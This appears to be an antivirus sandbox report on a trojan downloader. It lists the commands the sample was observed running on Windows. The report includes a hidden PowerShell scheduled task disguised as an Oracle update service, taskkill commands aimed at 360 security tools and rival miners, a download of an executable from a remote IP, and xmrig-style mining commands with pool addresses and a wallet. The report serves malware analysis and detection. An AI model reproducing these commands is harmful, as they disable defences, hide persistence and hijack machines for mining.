Trojan.DownLoader33.10415

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\update service for oracle productsm

Malicious functions

Executes the following

'<SYSTEM32>\taskkill.exe' /IM ddg.exe /f
'<SYSTEM32>\taskkill.exe' /IM kkew.exe /f
'<SYSTEM32>\taskkill.exe' /IM kkw.exe /f
'<SYSTEM32>\taskkill.exe' /IM ww2.exe /f
'<SYSTEM32>\taskkill.exe' /IM ttte.exe /f
'<SYSTEM32>\taskkill.exe' /IM te.exe /f
'<SYSTEM32>\taskkill.exe' /IM me.exe /f
'<SYSTEM32>\taskkill.exe' /IM pe.exe /f
'<SYSTEM32>\taskkill.exe' /IM 360rps.exe /f
'<SYSTEM32>\taskkill.exe' /IM 360rp.exe /f
'<SYSTEM32>\taskkill.exe' /IM 360tray.exe /f
'<SYSTEM32>\taskkill.exe' /IM imzhudongfangyu.exe /f
'<SYSTEM32>\taskkill.exe' /IM iexplorer.exe /f
'<SYSTEM32>\taskkill.exe' /IM im360sd.exe /f
'<SYSTEM32>\taskkill.exe' /IM je.exe /f
'<SYSTEM32>\taskkill.exe' /IM ie.exe /f
'<SYSTEM32>\taskkill.exe' /IM iee.exe /f
'<SYSTEM32>\taskkill.exe' /IM 3.exe /f
'<SYSTEM32>\taskkill.exe' /IM iie.exe /f
'<SYSTEM32>\taskkill.exe' /IM 1e.exe /f
'<SYSTEM32>\taskkill.exe' /IM nscpucnminer32.exe /f
'<SYSTEM32>\taskkill.exe' /IM xmrig.exe /f
'<SYSTEM32>\taskkill.exe' /IM miner.exe /f
'<SYSTEM32>\taskkill.exe' /IM yam.exe /f
'<SYSTEM32>\taskkill.exe' /IM xwws.exe /f
'<SYSTEM32>\taskkill.exe' /IM ww.exe /f

Modifies file system

Creates the following files

%HOMEPATH%\why3.ps1

Deletes the following files

<SYSTEM32>\tasks\update service for oracle productsm

Network activity

TCP

HTTP GET requests

http://10#.#44.75.25/ww.exe

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Executes the following

'<SYSTEM32>\schtasks.exe' /Create /SC MINUTE /TN "Update service for Oracle productsm" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noexit -File %HOMEPATH%\why3.ps1" /MO 6 /F
'<SYSTEM32>\cmd.exe' /C taskkill /IM je.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM im360sd.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM iexplorer.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM imzhudongfangyu.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM 360tray.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM 360rp.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM 360rps.exe /f
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products9" /F
'<SYSTEM32>\cmd.exe' /C taskkill /IM pe.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM te.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM ttte.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM ww2.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM kkw.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM kkew.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM xwws.exe /f
'<SYSTEM32>\cmd.exe' /C %TEMP%\kkw2.exe --donate-level=1 --max-cpu-usage 100 --cpu-priority 4 -o 198.144.176.158:8080 -o 23.94.24.12:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3e...
'<SYSTEM32>\cmd.exe' /C taskkill /IM iee.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM ie.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM 3.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM iie.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM 1e.exe /f
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products5" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products1" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products2" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products3" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products4" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products7" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products8" /F
'<SYSTEM32>\cmd.exe' /C taskkill /IM ww.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM me.exe /f
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products0" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle productsc" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle productsm" /F
'<SYSTEM32>\cmd.exe' /C taskkill /IM ddg.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM yam.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM miner.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM xmrig.exe /f
'<SYSTEM32>\cmd.exe' /C taskkill /IM nscpucnminer32.exe /f
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle products" /F
'<SYSTEM32>\schtasks.exe' /Delete /TN "Update service for Oracle productsa" /F
'<SYSTEM32>\cmd.exe' /C %TEMP%\kkys32.exe --donate-level=1 --max-cpu-usage 100 --cpu-priority 4 -o 198.144.176.158:8080 -o 23.94.24.12:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo...